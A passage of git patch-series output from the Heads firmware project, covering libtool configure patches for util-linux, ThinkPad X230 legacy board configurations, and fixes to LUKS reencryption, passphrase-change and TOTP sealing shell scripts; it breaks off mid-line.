./make.tmpl.in 2023-11-28 13:29:36.716000000 -0500 +@@ -210,7 +210,7 @@ + M_INSTALL_PROGRAM = -m 555 + M_INSTALL_DATA = -m 444 + endif +-INSTALL_PROGRAM = $(INSTALL) $(M_INSTALL_PROGRAM) $(STRIP) ++INSTALL_PROGRAM = $(INSTALL) $(M_INSTALL_PROGRAM) + INSTALL_DATA = $(INSTALL) -p $(M_INSTALL_DATA) + INSTALL_WDATA = $(INSTALL) -p -m 644 + +--- ./libdm/make.tmpl.orig 2023-11-28 13:29:52.760000000 -0500 ++++ ./libdm/make.tmpl.in 2023-11-28 13:30:22.336000000 -0500 +@@ -173,7 +173,7 @@ + M_INSTALL_PROGRAM = -m 555 + M_INSTALL_DATA = -m 444 + endif +-INSTALL_PROGRAM = $(INSTALL) $(M_INSTALL_PROGRAM) $(STRIP) ++INSTALL_PROGRAM = $(INSTALL) $(M_INSTALL_PROGRAM) + INSTALL_DATA = $(INSTALL) -p $(M_INSTALL_DATA) + INSTALL_WDATA = $(INSTALL) -p -m 644 + diff --git a/patches/util-linux-2.29.2.patch b/patches/util-linux-2.29.2.patch deleted file mode 100644 index 5a54b26ff..000000000 --- a/patches/util-linux-2.29.2.patch +++ /dev/null @@ -1,139 +0,0 @@ ---- ./configure 2017-02-22 07:07:46.595740152 -0500 -+++ ./configure 2023-02-27 13:34:27.068000000 -0500 -@@ -13408,7 +13408,7 @@ - version_type=linux # correct to gnu/linux during the next big refactor - need_lib_prefix=no - need_version=no -- hardcode_into_libs=yes -+ hardcode_into_libs=no - if test ia64 = "$host_cpu"; then - # AIX 5 supports IA64 - library_names_spec='$libname$release$shared_ext$major $libname$release$shared_ext$versuffix $libname$shared_ext' -@@ -13698,16 +13698,16 @@ - ;; - freebsd3.[01]* | freebsdelf3.[01]*) - shlibpath_overrides_runpath=yes -- hardcode_into_libs=yes -+ hardcode_into_libs=no - ;; - freebsd3.[2-9]* | freebsdelf3.[2-9]* | \ - freebsd4.[0-5] | freebsdelf4.[0-5] | freebsd4.1.1 | freebsdelf4.1.1) - shlibpath_overrides_runpath=no -- hardcode_into_libs=yes -+ hardcode_into_libs=no - ;; - *) # from 4.6 on, and DragonFly - shlibpath_overrides_runpath=yes -- hardcode_into_libs=yes -+ hardcode_into_libs=no - ;; - esac - ;; -@@ -13722,7 +13722,7 @@ - shlibpath_var=LIBRARY_PATH - shlibpath_overrides_runpath=no - sys_lib_dlsearch_path_spec='/boot/home/config/lib /boot/common/lib /boot/system/lib' -- hardcode_into_libs=yes -+ hardcode_into_libs=no - ;; - - hpux9* | hpux10* | hpux11*) -@@ -13734,7 +13734,7 @@ - case $host_cpu in - ia64*) - shrext_cmds='.so' -- hardcode_into_libs=yes -+ hardcode_into_libs=no - dynamic_linker="$host_os dld.so" - shlibpath_var=LD_LIBRARY_PATH - shlibpath_overrides_runpath=yes # Unless +noenvvar is specified. -@@ -13750,7 +13750,7 @@ - ;; - hppa*64*) - shrext_cmds='.sl' -- hardcode_into_libs=yes -+ hardcode_into_libs=no - dynamic_linker="$host_os dld.sl" - shlibpath_var=LD_LIBRARY_PATH # How should we handle SHLIB_PATH - shlibpath_overrides_runpath=yes # Unless +noenvvar is specified. -@@ -13783,7 +13783,7 @@ - dynamic_linker='Interix 3.x ld.so.1 (PE, like ELF)' - shlibpath_var=LD_LIBRARY_PATH - shlibpath_overrides_runpath=no -- hardcode_into_libs=yes -+ hardcode_into_libs=no - ;; - - irix5* | irix6* | nonstopux*) -@@ -13820,7 +13820,7 @@ - shlibpath_overrides_runpath=no - sys_lib_search_path_spec="/usr/lib$libsuff /lib$libsuff /usr/local/lib$libsuff" - sys_lib_dlsearch_path_spec="/usr/lib$libsuff /lib$libsuff" -- hardcode_into_libs=yes -+ hardcode_into_libs=no - ;; - - # No shared lib support for Linux oldld, aout, or coff. -@@ -13841,7 +13841,7 @@ - # This implies no fast_install, which is unacceptable. - # Some rework will be needed to allow for fast_install - # before this can be enabled. -- hardcode_into_libs=yes -+ hardcode_into_libs=no - - dynamic_linker='Android linker' - # Don't embed -rpath directories since the linker doesn't support them. -@@ -13896,7 +13896,7 @@ - # This implies no fast_install, which is unacceptable. - # Some rework will be needed to allow for fast_install - # before this can be enabled. -- hardcode_into_libs=yes -+ hardcode_into_libs=no - - # Add ABI-specific directories to the system library path. - sys_lib_dlsearch_path_spec="/lib64 /usr/lib64 /lib /usr/lib" -@@ -13936,7 +13936,7 @@ - fi - shlibpath_var=LD_LIBRARY_PATH - shlibpath_overrides_runpath=yes -- hardcode_into_libs=yes -+ hardcode_into_libs=no - ;; - - newsos6) -@@ -13954,7 +13954,7 @@ - soname_spec='$libname$release$shared_ext$major' - shlibpath_var=LD_LIBRARY_PATH - shlibpath_overrides_runpath=no -- hardcode_into_libs=yes -+ hardcode_into_libs=no - dynamic_linker='ldqnx.so' - ;; - -@@ -14026,7 +14026,7 @@ - soname_spec='$libname$release$shared_ext$major' - shlibpath_var=LD_LIBRARY_PATH - shlibpath_overrides_runpath=yes -- hardcode_into_libs=yes -+ hardcode_into_libs=no - # ldd complains unless libraries are executable - postinstall_cmds='chmod +x $lib' - ;; -@@ -14083,7 +14083,7 @@ - soname_spec='$libname$release$shared_ext$major' - shlibpath_var=LD_LIBRARY_PATH - shlibpath_overrides_runpath=yes -- hardcode_into_libs=yes -+ hardcode_into_libs=no - if test yes = "$with_gnu_ld"; then - sys_lib_search_path_spec='/usr/local/lib /usr/gnu/lib /usr/ccs/lib /usr/lib /lib' - else -@@ -14105,7 +14105,7 @@ - library_names_spec='$libname$release$shared_ext$versuffix $libname$release$shared_ext$major $libname$shared_ext' - shlibpath_var=LD_LIBRARY_PATH - shlibpath_overrides_runpath=no -- hardcode_into_libs=yes -+ hardcode_into_libs=no - ;; - - uts4*) diff --git a/patches/util-linux-2.39.patch b/patches/util-linux-2.39.patch new file mode 100644 index 000000000..e39fcfc58 --- /dev/null +++ b/patches/util-linux-2.39.patch @@ -0,0 +1,276 @@ +--- ./configure.orig 2023-05-17 06:53:16.721284360 -0400 ++++ ./configure 2023-11-28 13:57:50.012000000 -0500 +@@ -16580,7 +16580,7 @@ + version_type=linux # correct to gnu/linux during the next big refactor + need_lib_prefix=no + need_version=no +- hardcode_into_libs=yes ++ hardcode_into_libs=no + if test ia64 = "$host_cpu"; then + # AIX 5 supports IA64 + library_names_spec='$libname$release$shared_ext$major $libname$release$shared_ext$versuffix $libname$shared_ext' +@@ -16870,16 +16870,16 @@ + ;; + freebsd3.[01]* | freebsdelf3.[01]*) + shlibpath_overrides_runpath=yes +- hardcode_into_libs=yes ++ hardcode_into_libs=no + ;; + freebsd3.[2-9]* | freebsdelf3.[2-9]* | \ + freebsd4.[0-5] | freebsdelf4.[0-5] | freebsd4.1.1 | freebsdelf4.1.1) + shlibpath_overrides_runpath=no +- hardcode_into_libs=yes ++ hardcode_into_libs=no + ;; + *) # from 4.6 on, and DragonFly + shlibpath_overrides_runpath=yes +- hardcode_into_libs=yes ++ hardcode_into_libs=no + ;; + esac + ;; +@@ -16894,7 +16894,7 @@ + shlibpath_var=LIBRARY_PATH + shlibpath_overrides_runpath=no + sys_lib_dlsearch_path_spec='/boot/home/config/lib /boot/common/lib /boot/system/lib' +- hardcode_into_libs=yes ++ hardcode_into_libs=no + ;; + + hpux9* | hpux10* | hpux11*) +@@ -16906,7 +16906,7 @@ + case $host_cpu in + ia64*) + shrext_cmds='.so' +- hardcode_into_libs=yes ++ hardcode_into_libs=no + dynamic_linker="$host_os dld.so" + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes # Unless +noenvvar is specified. +@@ -16922,7 +16922,7 @@ + ;; + hppa*64*) + shrext_cmds='.sl' +- hardcode_into_libs=yes ++ hardcode_into_libs=no + dynamic_linker="$host_os dld.sl" + shlibpath_var=LD_LIBRARY_PATH # How should we handle SHLIB_PATH + shlibpath_overrides_runpath=yes # Unless +noenvvar is specified. +@@ -16955,7 +16955,7 @@ + dynamic_linker='Interix 3.x ld.so.1 (PE, like ELF)' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=no +- hardcode_into_libs=yes ++ hardcode_into_libs=no + ;; + + irix5* | irix6* | nonstopux*) +@@ -16992,7 +16992,7 @@ + shlibpath_overrides_runpath=no + sys_lib_search_path_spec="/usr/lib$libsuff /lib$libsuff /usr/local/lib$libsuff" + sys_lib_dlsearch_path_spec="/usr/lib$libsuff /lib$libsuff" +- hardcode_into_libs=yes ++ hardcode_into_libs=no + ;; + + # No shared lib support for Linux oldld, aout, or coff. +@@ -17013,7 +17013,7 @@ + # This implies no fast_install, which is unacceptable. + # Some rework will be needed to allow for fast_install + # before this can be enabled. +- hardcode_into_libs=yes ++ hardcode_into_libs=no + + dynamic_linker='Android linker' + # Don't embed -rpath directories since the linker doesn't support them. +@@ -17071,7 +17071,7 @@ + # This implies no fast_install, which is unacceptable. + # Some rework will be needed to allow for fast_install + # before this can be enabled. +- hardcode_into_libs=yes ++ hardcode_into_libs=no + + # Add ABI-specific directories to the system library path. + sys_lib_dlsearch_path_spec="/lib64 /usr/lib64 /lib /usr/lib" +@@ -17111,7 +17111,7 @@ + fi + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes +- hardcode_into_libs=yes ++ hardcode_into_libs=no + ;; + + newsos6) +@@ -17129,7 +17129,7 @@ + soname_spec='$libname$release$shared_ext$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=no +- hardcode_into_libs=yes ++ hardcode_into_libs=no + dynamic_linker='ldqnx.so' + ;; + +@@ -17201,7 +17201,7 @@ + soname_spec='$libname$release$shared_ext$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes +- hardcode_into_libs=yes ++ hardcode_into_libs=no + # ldd complains unless libraries are executable + postinstall_cmds='chmod +x $lib' + ;; +@@ -17258,7 +17258,7 @@ + soname_spec='$libname$release$shared_ext$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes +- hardcode_into_libs=yes ++ hardcode_into_libs=no + if test yes = "$with_gnu_ld"; then + sys_lib_search_path_spec='/usr/local/lib /usr/gnu/lib /usr/ccs/lib /usr/lib /lib' + else +@@ -17280,7 +17280,7 @@ + library_names_spec='$libname$release$shared_ext$versuffix $libname$release$shared_ext$major $libname$shared_ext' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=no +- hardcode_into_libs=yes ++ hardcode_into_libs=no + ;; + + uts4*) +@@ -20574,7 +20574,7 @@ + version_type=linux # correct to gnu/linux during the next big refactor + need_lib_prefix=no + need_version=no +- hardcode_into_libs=yes ++ hardcode_into_libs=no + if test ia64 = "$host_cpu"; then + # AIX 5 supports IA64 + library_names_spec='$libname$release$shared_ext$major $libname$release$shared_ext$versuffix $libname$shared_ext' +@@ -20862,16 +20862,16 @@ + ;; + freebsd3.[01]* | freebsdelf3.[01]*) + shlibpath_overrides_runpath=yes +- hardcode_into_libs=yes ++ hardcode_into_libs=no + ;; + freebsd3.[2-9]* | freebsdelf3.[2-9]* | \ + freebsd4.[0-5] | freebsdelf4.[0-5] | freebsd4.1.1 | freebsdelf4.1.1) + shlibpath_overrides_runpath=no +- hardcode_into_libs=yes ++ hardcode_into_libs=no + ;; + *) # from 4.6 on, and DragonFly + shlibpath_overrides_runpath=yes +- hardcode_into_libs=yes ++ hardcode_into_libs=no + ;; + esac + ;; +@@ -20886,7 +20886,7 @@ + shlibpath_var=LIBRARY_PATH + shlibpath_overrides_runpath=no + sys_lib_dlsearch_path_spec='/boot/home/config/lib /boot/common/lib /boot/system/lib' +- hardcode_into_libs=yes ++ hardcode_into_libs=no + ;; + + hpux9* | hpux10* | hpux11*) +@@ -20898,7 +20898,7 @@ + case $host_cpu in + ia64*) + shrext_cmds='.so' +- hardcode_into_libs=yes ++ hardcode_into_libs=no + dynamic_linker="$host_os dld.so" + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes # Unless +noenvvar is specified. +@@ -20914,7 +20914,7 @@ + ;; + hppa*64*) + shrext_cmds='.sl' +- hardcode_into_libs=yes ++ hardcode_into_libs=no + dynamic_linker="$host_os dld.sl" + shlibpath_var=LD_LIBRARY_PATH # How should we handle SHLIB_PATH + shlibpath_overrides_runpath=yes # Unless +noenvvar is specified. +@@ -20947,7 +20947,7 @@ + dynamic_linker='Interix 3.x ld.so.1 (PE, like ELF)' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=no +- hardcode_into_libs=yes ++ hardcode_into_libs=no + ;; + + irix5* | irix6* | nonstopux*) +@@ -20984,7 +20984,7 @@ + shlibpath_overrides_runpath=no + sys_lib_search_path_spec="/usr/lib$libsuff /lib$libsuff /usr/local/lib$libsuff" + sys_lib_dlsearch_path_spec="/usr/lib$libsuff /lib$libsuff" +- hardcode_into_libs=yes ++ hardcode_into_libs=no + ;; + + # No shared lib support for Linux oldld, aout, or coff. +@@ -21005,7 +21005,7 @@ + # This implies no fast_install, which is unacceptable. + # Some rework will be needed to allow for fast_install + # before this can be enabled. +- hardcode_into_libs=yes ++ hardcode_into_libs=no + + dynamic_linker='Android linker' + # Don't embed -rpath directories since the linker doesn't support them. +@@ -21063,7 +21063,7 @@ + # This implies no fast_install, which is unacceptable. + # Some rework will be needed to allow for fast_install + # before this can be enabled. +- hardcode_into_libs=yes ++ hardcode_into_libs=no + + # Add ABI-specific directories to the system library path. + sys_lib_dlsearch_path_spec="/lib64 /usr/lib64 /lib /usr/lib" +@@ -21103,7 +21103,7 @@ + fi + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes +- hardcode_into_libs=yes ++ hardcode_into_libs=no + ;; + + newsos6) +@@ -21121,7 +21121,7 @@ + soname_spec='$libname$release$shared_ext$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=no +- hardcode_into_libs=yes ++ hardcode_into_libs=no + dynamic_linker='ldqnx.so' + ;; + +@@ -21193,7 +21193,7 @@ + soname_spec='$libname$release$shared_ext$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes +- hardcode_into_libs=yes ++ hardcode_into_libs=no + # ldd complains unless libraries are executable + postinstall_cmds='chmod +x $lib' + ;; +@@ -21250,7 +21250,7 @@ + soname_spec='$libname$release$shared_ext$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes +- hardcode_into_libs=yes ++ hardcode_into_libs=no + if test yes = "$with_gnu_ld"; then + sys_lib_search_path_spec='/usr/local/lib /usr/gnu/lib /usr/ccs/lib /usr/lib /lib' + else +@@ -21272,7 +21272,7 @@ + library_names_spec='$libname$release$shared_ext$versuffix $libname$release$shared_ext$major $libname$shared_ext' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=no +- hardcode_into_libs=yes ++ hardcode_into_libs=no + ;; + + uts4*) diff --git a/unmaintained_boards/x230-hotp-legacy/x230-hotp-legacy.config b/unmaintained_boards/x230-hotp-legacy/x230-hotp-legacy.config new file mode 100644 index 000000000..1d6233d72 --- /dev/null +++ b/unmaintained_boards/x230-hotp-legacy/x230-hotp-legacy.config @@ -0,0 +1,73 @@ +# Configuration for a x230 with HOTP (Nitrokey/Purism USB Security dongle enabled HOTP support) +# running Qubes 4.1 and other OSes. +# +# Deactivated to fit in coreboot's CONFIG_CBFS_SIZE=0x700000 : +# dropbear support(ssh client/server) +# e1000e (ethernet driver) +# +# Addition vs standard x230 board config: +# HOTP_KEY: HOTP challenge for currently supported USB Security dongles +export CONFIG_COREBOOT=y +export CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_LINUX_VERSION=5.10.5 + +CONFIG_COREBOOT_CONFIG=config/coreboot-x230-legacy.config +CONFIG_LINUX_CONFIG=config/linux-x230-legacy.config + +#Additional hardware support +CONFIG_LINUX_USB=y +CONFIG_LINUX_E1000E=n + +CONFIG_CRYPTSETUP2=y +CONFIG_FLASHPROG=y +CONFIG_FLASHTOOLS=y +CONFIG_GPG2=y +CONFIG_KEXEC=y +CONFIG_UTIL_LINUX=y +CONFIG_LVM2=y +CONFIG_MBEDTLS=y +CONFIG_PCIUTILS=y + +#Remote attestation support +#TPM based requirements +export CONFIG_TPM=y +CONFIG_POPT=y +CONFIG_QRENCODE=y +CONFIG_TPMTOTP=y +#HOTP based remote attestation for supported USB Security dongle +#With/Without TPM support +CONFIG_HOTPKEY=y +export CONFIG_AUTO_BOOT_TIMEOUT=5 + +#Nitrokey Storage admin tool +CONFIG_NKSTORECLI=n + +#GUI Support +#Console based Whiptail support(Console based, no FB): +CONFIG_SLANG=y +CONFIG_NEWT=y +#FBWhiptail based (Graphical): +#CONFIG_CAIRO=y +#CONFIG_FBWHIPTAIL=y + +#Additional tools: +#SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) +CONFIG_DROPBEAR=n +#Ethernet driver (Heads only) +CONFIG_LINUX_E1000E=n + +export CONFIG_BOOTSCRIPT=/bin/gui-init +export CONFIG_BOOT_REQ_HASH=n +export CONFIG_BOOT_REQ_ROLLBACK=n +export CONFIG_BOOT_KERNEL_ADD="" +export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" +export CONFIG_BOARD_NAME="Thinkpad X230-hotp-legacy" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal --ifd --image bios" + +# This board has two SPI flash chips, an 8 MB that holds the IFD, +# the ME image and part of the coreboot image, and a 4 MB one that +# has the rest of the coreboot and the reset vector. +# +# Only flashing to the bios region is safe to do. The easiest is to +# flash internally when the IFD is unlocked for writing, and x230-flash +# is installed first. diff --git a/unmaintained_boards/x230-legacy-flash/x230-legacy-flash.config b/unmaintained_boards/x230-legacy-flash/x230-legacy-flash.config new file mode 100644 index 000000000..ed0e79908 --- /dev/null +++ b/unmaintained_boards/x230-legacy-flash/x230-legacy-flash.config @@ -0,0 +1,36 @@ +# Minimal configuration for a x230 to support flashrom and USB +# This top SPI flash image needed to flash legacy board counterpart internally +# This image can be flashed through 1vyrain and skulls +# IDEALLY you should flash maximized top and bottom rom images exteranlly once instead. + +export CONFIG_COREBOOT=y +export CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_LINUX_VERSION=5.10.5 + +CONFIG_COREBOOT_CONFIG=config/coreboot-UNMAINTAINED_x230-legacy-flash.config +CONFIG_LINUX_CONFIG=config/linux-x230-flash.config + +#Add bare minimal tools for flashing boards +CONFIG_BASH=n +CONFIG_FLASHPROG=y +CONFIG_ZSTD=n +#CONFIG_GPG=y +#CONFIG_FLASHTOOLS=y +CONFIG_PCIUTILS=y +#CONFIG_MBEDTLS=y +#CONFIG_QRENCODE=y +#CONFIG_TPMTOTP=y +#CONFIG_DROPBEAR=y + + +#Additional hardware support +CONFIG_LINUX_USB=y +#CONFIG_LINUX_E1000E=y + +export CONFIG_BOOTSCRIPT=/bin/xx30-flash.init +export CONFIG_BOARD_NAME="ThinkPad X230-legacy-flash" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal --ifd --image bios" + +CONFIG_LEGACY_FLASH=y + +BOARD_TARGETS := legacy_flash diff --git a/unmaintained_boards/x230-legacy/x230-legacy.config b/unmaintained_boards/x230-legacy/x230-legacy.config new file mode 100644 index 000000000..bdd821218 --- /dev/null +++ b/unmaintained_boards/x230-legacy/x230-legacy.config @@ -0,0 +1,66 @@ +# Configuration for a X230 running Qubes 4.1 and other Linux Based OSes (through kexec) +# +# Deactivated to fit in coreboot's CONFIG_CBFS_SIZE=0x700000 : +# dropbear support(ssh client/server) +# e1000e (ethernet driver) +export CONFIG_COREBOOT=y +export CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_LINUX_VERSION=5.10.5 + +CONFIG_COREBOOT_CONFIG=config/coreboot-UNMAINTAINED_x230-legacy.config +CONFIG_LINUX_CONFIG=config/linux-UNMAINTAINED_x230-legacy.config + +#Additional hardware support +CONFIG_LINUX_USB=y +CONFIG_LINUX_E1000E=n + +CONFIG_CRYPTSETUP2=y +CONFIG_FLASHPROG=y +CONFIG_FLASHTOOLS=y +CONFIG_GPG2=y +CONFIG_KEXEC=y +CONFIG_UTIL_LINUX=y +CONFIG_LVM2=y +CONFIG_MBEDTLS=y +CONFIG_PCIUTILS=y + +#Remote attestation support +#TPM based requirements +export CONFIG_TPM=y +CONFIG_POPT=y +CONFIG_QRENCODE=y +CONFIG_TPMTOTP=y +#HOTP based remote attestation for supported USB Security dongle +#With/Without TPM support +CONFIG_HOTPKEY=n + +#Nitrokey Storage admin tool +CONFIG_NKSTORECLI=n + +#GUI Support +#Console based Whiptail support(Console based, no FB): +CONFIG_SLANG=y +CONFIG_NEWT=y +#FBWhiptail based (Graphical): +#CONFIG_CAIRO=y +#CONFIG_FBWHIPTAIL=y + +#Additional tools: +#SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) +CONFIG_DROPBEAR=n + +export CONFIG_BOOTSCRIPT=/bin/gui-init +export CONFIG_BOOT_REQ_HASH=n +export CONFIG_BOOT_REQ_ROLLBACK=n +export CONFIG_BOOT_KERNEL_ADD="" +export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" +export CONFIG_BOARD_NAME="Thinkpad X230-legacy" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal --ifd --image bios" + +# This board has two SPI flash chips, an 8 MB that holds the IFD, +# the ME image and part of the coreboot image, and a 4 MB one that +# has the rest of the coreboot and the reset vector. +# +# Only flashing to the bios region is safe to do. The easiest is to +# flash internally when the IFD is unlocked for writing, and x230-flash +# is installed first. From 70a7419c0acc32dacf5877581695922ab4c37e87 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Sat, 17 Aug 2024 10:59:31 -0400 Subject: [PATCH 298/619] WiP: fake cryptsetup reencrypt call for testing local one last time: seems like luks passphrase change only happens on one of the containers; not all Signed-off-by: Thierry Laurion --- initrd/etc/luks-functions | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/initrd/etc/luks-functions b/initrd/etc/luks-functions index b7765a7b0..169c335c5 100644 --- a/initrd/etc/luks-functions +++ b/initrd/etc/luks-functions @@ -476,11 +476,12 @@ luks_reencrypt() { # --force-offline-reencrypt forces the reencryption to be done offline (no read/write operations on the device) # --disable-locks disables the lock feature of cryptsetup, which is enabled by default - if ! DO_WITH_DEBUG cryptsetup reencrypt \ - --perf-no_read_workqueue --perf-no_write_workqueue \ - --resilience=none --force-offline-reencrypt --disable-locks \ - "$luks_container" --key-slot "$DRK_KEYSLOT" \ - --key-file /tmp/luks_current_Disk_Recovery_Key_passphrase; then + #if ! DO_WITH_DEBUG cryptsetup reencrypt \ + #--perf-no_read_workqueue --perf-no_write_workqueue \ + #--resilience=none --force-offline-reencrypt --disable-locks \ + #"$luks_container" --key-slot "$DRK_KEYSLOT" \ + #--key-file /tmp/luks_current_Disk_Recovery_Key_passphrase; then + if ! DO_WITH_DEBUG echo "fake cryptsetup reencrypt call"; then whiptail --title "$luks_container: Wrong current LUKS Disk Recovery Key passphrase?" --msgbox \ "If you previously changed it and do not remember it, you will have to\n reinstall the OS from a an external drive.\n\nTo do so, place the ISO file and its signature file on root of an\n external drive, and select Options-> Boot from USB \n\nHit Enter to retry." 0 80 From 03746e3e1183f5b3cfb5adbe178d8c77b139dec0 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Sat, 17 Aug 2024 12:00:43 -0400 Subject: [PATCH 299/619] seal-totp: add missing PCR7 DEBUG call for CBFS measured content, add DEBUG for TOTP secret/qrcode output to console Signed-off-by: Thierry Laurion --- initrd/bin/seal-totp | 2 ++ 1 file changed, 2 insertions(+) diff --git a/initrd/bin/seal-totp b/initrd/bin/seal-totp index 0ef5bcfbe..1fa24fbc0 100755 --- a/initrd/bin/seal-totp +++ b/initrd/bin/seal-totp @@ -46,6 +46,7 @@ DEBUG "Sealing TOTP neglecting PCR5 involvement (Dynamically loaded kernel modul # pcr 6 (drive LUKS header) is not measured at sealing/unsealing of totp DEBUG "Sealing TOTP without PCR6 involvement (LUKS header consistency is not firmware integrity attestation related)" # pcr 7 is containing measurements of user injected stuff in cbfs +DEBUG "Sealing TOTP with actual state of PCR7 (User injected stuff in cbfs)" tpmr pcrread -a 7 "$pcrf" #Make sure we clear the TPM Owner Password from memory in case it failed to be used to seal TOTP tpmr seal "$TOTP_SECRET" "$TPM_NVRAM_SPACE" 0,1,2,3,4,7 "$pcrf" 312 "" "$TPM_PASSWORD" || @@ -56,5 +57,6 @@ shred -n 10 -z -u "$TOTP_SEALED" 2>/dev/null url="otpauth://totp/$HOST?secret=$secret" secret="" +DEBUG "TOTP secret output on screen (both URL and QR code)" qrenc "$url" echo "$url" From 1c8c45c6898c98ef161180074d7887c84634cd21 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Sat, 17 Aug 2024 12:01:42 -0400 Subject: [PATCH 300/619] luks-functions: fix luks_change_passphrase which was only occuring on first LUKS volume, not all Remove unneeded loop under luks_reencrypt Signed-off-by: Thierry Laurion --- initrd/etc/luks-functions | 98 ++++++++++++++++----------------------- 1 file changed, 41 insertions(+), 57 deletions(-) diff --git a/initrd/etc/luks-functions b/initrd/etc/luks-functions index 169c335c5..0011e0f4f 100644 --- a/initrd/etc/luks-functions +++ b/initrd/etc/luks-functions @@ -381,7 +381,7 @@ test_luks_current_disk_recovery_key_passphrase() # We export the LUKS volume(s) that was/were validated via passphrase test export LUKS TRACE_FUNC - DEBUG "$LUKS exported to be reused" + DEBUG "LUKS container(s) $PRINTABLE_LUKS exported to be reused" break; fi done @@ -394,11 +394,12 @@ luks_reencrypt() { # then loop on that list of devices that could be opened and reencrypt/change passphrase for all the devices that could be tested opened with that passphrase select_luks_container || return 1 - # Count the number of containers to be reencrypted - num_containers=$(echo "$LUKS" | wc -w) - reencrypted_containers=0 + # Split the $LUKS variable into an array of LUKS containers + luks_containers=($LUKS) + TRACE_FUNC + DEBUG "luks_containers: ${luks_containers[@]}" - while [ $reencrypted_containers -lt $num_containers ]; do + for luks_container in "${luks_containers[@]}"; do if [ -z "$luks_current_Disk_Recovery_Key_passphrase" ]; then #if no external provisioning provides current LUKS Disk Recovery Key passphrase msg=$(echo -e "This will replace the encrypted container content and its LUKS Disk Recovery Key.\n\nThe passphrase associated with this key will be asked from the user under the following conditions:\n 1-Every boot if no Disk Unlock Key was added to the TPM\n 2-If the TPM fails (hardware failure)\n 3-If the firmware has been tampered with/modified by the user\n\nThis process requires you to type the current LUKS Disk Recovery Key passphrase and will delete the LUKS TPM Disk Unlock Key slot, if set up, by setting a default boot LUKS key slot (1) if present.\n\nAt the next prompt, you may be asked to select which file corresponds to the LUKS device container.\n\nHit Enter to continue." | fold -w 70 -s) @@ -411,29 +412,22 @@ luks_reencrypt() { echo -n "$luks_current_Disk_Recovery_Key_passphrase" >/tmp/luks_current_Disk_Recovery_Key_passphrase fi - # Split the $LUKS variable into an array of LUKS containers - luks_containers=($LUKS) - TRACE_FUNC - DEBUG "luks_containers: $luks_containers" - - # Loop through each LUKS container - for luks_container in "${luks_containers[@]}"; do - DEBUG "$luks_container: Test unlocking of LUKS encrypted drive content with current LUKS Disk Recovery Key passphrase..." - if ! DO_WITH_DEBUG cryptsetup open --test-passphrase "$luks_container" --key-file /tmp/luks_current_Disk_Recovery_Key_passphrase > /dev/null 2>&1; then - whiptail --title "$luks_container: Wrong current LUKS Disk Recovery Key passphrase?" --msgbox \ - "If you previously changed it and do not remember it, you will have to\n reinstall the OS from a an external drive.\n\nTo do so, place the ISO file and its signature file on root of an\n external drive, and select Options-> Boot from USB \n\nHit Enter to retry." 0 80 - # Remove "known good" selected LUKS container so that next pass asks again user to select LUKS container. - # Maybe the container was not the right one - TRACE_FUNC - detect_boot_device - mount -o remount,rw /boot - rm -f /boot/kexec_key_devices.txt - mount -o remount,ro /boot - luks_secrets_cleanup - unset LUKS - continue - fi - done + + DEBUG "$luks_container: Test unlocking of LUKS encrypted drive content with current LUKS Disk Recovery Key passphrase..." + if ! DO_WITH_DEBUG cryptsetup open --test-passphrase "$luks_container" --key-file /tmp/luks_current_Disk_Recovery_Key_passphrase > /dev/null 2>&1; then + whiptail --title "$luks_container: Wrong current LUKS Disk Recovery Key passphrase?" --msgbox \ + "If you previously changed it and do not remember it, you will have to\n reinstall the OS from a an external drive.\n\nTo do so, place the ISO file and its signature file on root of an\n external drive, and select Options-> Boot from USB \n\nHit Enter to retry." 0 80 + # Remove "known good" selected LUKS container so that next pass asks again user to select LUKS container. + # Maybe the container was not the right one + TRACE_FUNC + detect_boot_device + mount -o remount,rw /boot + rm -f /boot/kexec_key_devices.txt + mount -o remount,ro /boot + luks_secrets_cleanup + unset LUKS + continue + fi DEBUG "Test opening ${luks_containers[@]} successful. Now testing key slots to determine which holds master key" for luks_container in "${luks_containers[@]}"; do @@ -500,42 +494,35 @@ luks_reencrypt() { #Exporting successfully used passphrase possibly reused by oem-factory-reset export luks_current_Disk_Recovery_Key_passphrase export LUKS - - # Increment the count of reencrypted containers - reencrypted_containers=$((reencrypted_containers + 1)) fi done done } -luks_change_passphrase() { +luks_change_passphrase() +{ TRACE_FUNC select_luks_container || return 1 - # Count the number of containers to be processed - num_containers=$(echo "$LUKS" | wc -w) - changed_containers=0 - # Split the $LUKS variable into an array of LUKS containers - IFS=' ' read -ra luks_containers <<< "$LUKS" + luks_containers=($LUKS) + TRACE_FUNC + DEBUG "luks_containers: ${luks_containers[@]}" + # Loop through each LUKS container for luks_container in "${luks_containers[@]}"; do if [ -z "$luks_current_Disk_Recovery_Key_passphrase" ] || [ -z "$luks_new_Disk_Recovery_Key_passphrase" ]; then whiptail 